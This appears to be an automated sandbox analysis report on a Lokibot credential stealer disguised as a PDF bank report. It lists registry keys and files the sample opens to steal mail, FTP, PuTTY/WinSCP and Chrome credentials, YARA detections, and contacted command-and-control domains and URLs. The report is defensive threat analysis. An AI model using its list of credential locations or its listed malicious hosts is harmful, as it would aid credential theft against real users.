Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_00406069 GetUserNameW, 5_2_00406069

Stealing of Sensitive Information
barindex
Yara detected Lokibot
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.293340629.00000000039C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.293368296.00000000039F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Informe bancario.pdf.exe PID: 6496, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Informe bancario.pdf.exe PID: 6824, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts Jump to behavior
Tries to steal Mail credentials (via file registry)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: PopPassword 5_2_0040D069
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: SmtpPassword 5_2_0040D069
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.293340629.00000000039C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.293368296.00000000039F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 651256 Sample: Informe bancario.pdf.exe Startdate: 23/06/2022 Architecture: WINDOWS Score: 100 18 kossa.xyz 2->18 24 Snort IDS alert for network traffic 2->24 26 Multi AV Scanner detection for domain / URL 2->26 28 Malicious sample detected (through community Yara rule) 2->28 30 13 other signatures 2->30 7 Informe bancario.pdf.exe 3 2->7         started        signatures3 process4 file5 16 C:\Users\...\Informe bancario.pdf.exe.log, ASCII 7->16 dropped 10 Informe bancario.pdf.exe 54 7->10         started        14 Informe bancario.pdf.exe 7->14         started        process6 dnsIp7 20 104.21.40.153, 49745, 49765, 49766 CLOUDFLARENETUS United States 10->20 22 kossa.xyz 172.67.154.72, 49741, 49742, 49743 CLOUDFLARENETUS United States 10->22 32 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 10->32 34 Tries to steal Mail credentials (via file / registry access) 10->34 36 Tries to harvest and steal ftp login credentials 10->36 38 Tries to harvest and steal browser information (history, passwords, etc) 10->38 signatures8
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.40.153
 unknown United States
13335 CLOUDFLARENETUS true
172.67.154.72
 kossa.xyz United States
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
kossa.xyz 172.67.154.72 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://kbfvzoboss.bid/alien/fre.php true
  • URL Reputation: safe
 unknown
http://alphastand.top/alien/fre.php true
  • URL Reputation: safe
 unknown
http://alphastand.win/alien/fre.php true
  • URL Reputation: safe
 unknown
http://alphastand.trade/alien/fre.php true
  • URL Reputation: safe
 unknown
http://kossa.xyz/esi/pp/play.php true
  • Avira URL Cloud: safe
 unknown